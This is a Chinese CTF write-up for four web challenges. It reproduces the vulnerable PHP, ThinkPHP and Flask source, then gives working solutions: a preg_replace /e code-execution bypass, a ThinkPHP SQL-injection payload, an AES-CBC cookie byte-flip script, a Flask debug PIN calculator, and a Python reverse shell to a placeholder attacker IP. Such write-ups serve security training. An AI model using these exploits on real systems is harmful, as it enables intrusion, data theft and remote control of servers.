1. Please_RCE_Me
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
preg_replace 函数使用了e修饰符,会导致代码执行,同时使用了i修饰符,即忽略大小写。可以使用大小写绕过preg_match匹配部分,POC如下:
GET /?moran=flag&1=/flag
POST task=show_source($_GET[1])&flag=Please_give_me_flag
2. ez_tp
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
//$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
header("Content-type:text/html;charset=utf-8");
echo '装起来了';
}
public function h_n(){
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}
$name = I('GET.name');
$User = M("user");
if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}
}
}
涉及thinkphp3.2.3_SQL注入漏洞,参考:https://y4er.com/posts/thinkphp3-vuln,POC如下:
/index.php/Home/Index/h_n?name[0]=exp&name[1]==1 or 1 union select 1,flag from flag
3. flipPin
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json
default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))
def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)
app = Flask(__name__)
filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}
@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'
@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res
@app.route("/read")
def file():
session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'
session_data = json.loads(plain_session)
if session_data['admin'] :
filename = request.args.get('filename')
if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')
try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)
考点是AES-CBC字节翻转、flask pin码计算,AES-CBC字节翻转脚本如下:
# -*- coding:utf8 -*-
import base64
import urllib.parse
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode
"""
1. 分组 16个字节一组
"""
# {"admin": 0, "us
# ername": "user1"
# }
"""
2. 获取原始密文
"""
ciphertext = 'wv7sRdpuU1HMAgqUWAOjoZuLsH9jUDnCaVtBxN8fQH6zyxmGqarbH7R/cuSUVx1xnKKDoUjIeo1GQwkg39DZ6Q=='
cipher = base64.b64decode(urllib.parse.unquote(ciphertext))
array_cipher = bytearray(cipher)
"""
3, 字节翻转
"""
offset = 10
array_cipher[offset] = array_cipher[offset]^ ord('0') ^ ord('1')
print('newCipher:',urllib.parse.quote(base64.b64encode(array_cipher)))
替换伪造的Cookie信息,即可利用文件读取漏洞来获取pin码计算六要素,pin计算脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser', # /etc/passwd
'flask.app', # 模式名,默认
'Flask', # 应用名,默认
'/usr/lib/python3.9/site-packages/flask/app.py' # 应用目录
]
private_bits = [
'116853226196301', # /read?filename=sys/class/net/eth0/address
'f67849d6-0b58-4a19-8e76-938d747b1e66dfb4ad54804b2fc5341f6b92e5c00dd69908f32e77c3be12ed4c26aa6783f210'# get_machine_id(), /etc/machine-id /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
计算完pin码之后拼接访问:/console,键入pin码即可执行python代码。后续利用python反弹shell,在env里面找到flag。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
4. GPTS
参考:https://xz.aliyun.com/t/14283,前台存在Pickle反序列漏洞。